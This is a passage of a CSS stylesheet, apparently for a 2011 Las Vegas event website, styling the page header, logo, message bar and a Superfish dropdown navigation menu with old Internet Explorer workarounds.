vertical-align: middle; width: 931px; } #headerContent #logo { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/header-logo.png') no-repeat top right; margin-top: -4px; *margin-top: -23px; float: right; } #headerContent #logo, #headerContent #logo img { height: 29px; width: 183px; } #headerContent #logo img { /*border: 1px solid red;*/ display: block; margin: 0px; } /* The floating transparent image overlaid on the logo. Links to homepage. */ #headerMessage { background-color: #faf4d0; border-bottom: 2px solid black; display: none; font-size: 20px; height: 32px; margin: 0px auto; padding-top: 5px; text-align: center; vertical-align: middle; } #headerMessage a { color: #FF0000; } /* MAIN MENU ********************************************************** */ #mainMenu { background: transparent url('/eventAssets/intero_lasvegas_2011_100908200353/nav-bg.png') repeat-x top left; display: block; height: 37px; margin: 0px auto; } /*** ESSENTIAL STYLES - menu uses suckerfish, see header for Javascript includes needed (jquery.js, hoverIntent.js, superfish.js) ***/ .sf-menu, .sf-menu * { list-style: none; margin: 0; padding: 0; } .sf-menu { line-height: 1.0; } .sf-menu ul { position: absolute; top: -999em; width: 15em; /* left offset of submenus need to match (see below) */ } .sf-menu ul li { width: 100%; } .sf-menu li:hover { visibility: inherit; /* fixes IE7 'sticky bug' */ } .sf-menu li { float: left; position: relative; } .sf-menu a { display: block; position: relative; } .sf-menu li:hover ul, .sf-menu li.sfHover ul { left: 0; top: 3.08em; /* match top ul list item height */ z-index: 99; } ul.sf-menu li:hover li ul, ul.sf-menu li.sfHover li ul { top: -999em; } ul.sf-menu li li:hover ul, ul.sf-menu li li.sfHover ul { left: 15em;/* match ul width */ top: 0; } ul.sf-menu li li:hover li ul, ul.sf-menu li li.sfHover li ul { top: -999em; } ul.sf-menu li li li:hover ul, ul.sf-menu li li li.sfHover ul { left: 15em;/* match ul width */ top: 0; } /*** SKIN ***/ .sf-menu { float: left; font-size: .8em; margin-bottom: 1em; *z-index: 99999 !important; } .sf-menu a { border-left: 1px solid #C1C1C1; padding: 1em .75em; text-decoration: none; } .sf-menu li:first-child a { border-left: none; } /* first top level link gets no border */ .sf-menu a, .sf-menu a:visited { /* visited pseudo selector so IE6 applies text colour*/ color: #292929; font-weight: bold; } .sf-menu a:hover { color: #464646; text-decoration: none; } /* Hover styles for top level links */ .sf-menu li { /*background: #671940;*/ } .sf-menu li ul { opacity: 0.95; /* CSS3 */ -moz-opacity: 0.95; /* Firefox */ filter: alpha(opacity=95); /* IE6 */ } .sf-menu li li { background: #E4E4E4; border-bottom: 1px solid white; } /* Base colors for sub-menu items */ .sf-menu li li:first-child a { border-left: 1px solid #C1C1C1; } /* Re-establish left borders for first links in child ULs */ .sf-menu li li a, .sf-menu li li a:visited { /*color: #671940;*/ } .sf-menu li li li { } .sf-menu li:hover, .sf-menu li.sfHover, .sf-menu a:focus, .sf-menu a:hover, .sf-menu a:active { background-color: #E4E4E4; outline: 0; } /* Hover color for top level items */ .sf-menu li li a, .sf-menu li li a:visited { color: /*#016559*/#296490; } /* Color for sub-items */ .sf-menu li li a:hover, .sf-menu li:hover li:hover { background-color: #EEEEEE; color: /*#292929*/#427A9B; } /* Hover colors for sub-items */ /*** arrows **/ .sf-menu a.sf-with-ul { padding-right: 1.9em; min-width: 1px; /* trigger IE7 hasLayout so spans position accurately */ } .sf-sub-indicator { position: absolute; display: block; right: .75em; top: 1.17em; /* IE6 only */ width: 10px; height: 10px; text-indent: -999em; overflow: hidden; background: url('/eventAssets/intero_lasvegas_2011_100908200353/arrows-2e2d2d.png') no-repeat -10px -100px; /* 8-bit indexed alpha png. IE6 gets solid image only */ } a > .sf-sub-indicator { /* give all except IE6 the correct values */ top: 1.1em; background-position: 0 -100px; /* use translucent arrow for modern browsers*/ } /* apply hovers to modern browsers */ a:focus > .sf-sub-indicator, a:hover > .sf-sub-indicator, a:active > .sf-sub-indicator, li:hover > a > .sf-sub-indicator, li.sfHover > a > .sf-sub-indicator { background-position: -10px -100px; /* arrow hovers for modern browsers*/ } /* point right for anchors in subs */ .sf-menu ul .sf-sub-indicator { background-position: -10px 0; } .sf-menu ul a > .sf-sub-indicator { background-position: 0 0; } /* apply hovers to modern browsers */ .sf-menu ul a:focus > .sf-sub-indicator, .sf-menu ul a:hover > .sf-sub-indicator, .sf-menu ul a:active > .sf-sub-indicator, .sf-menu ul li:hover > a > .sf-sub-indicator, .sf-menu ul li.sfHover > a > .sf-sub-indicator { background-position: -10px 0; /* arrow hovers for modern browsers*/ } /* COLUMN ONE 111111111111111111111111111 ********************************************************** */ #columnOne { background-color: #E9E9E9; border-right: 1px solid #f0f2f4; float: left; font-size: .9em; width: 174px; padd..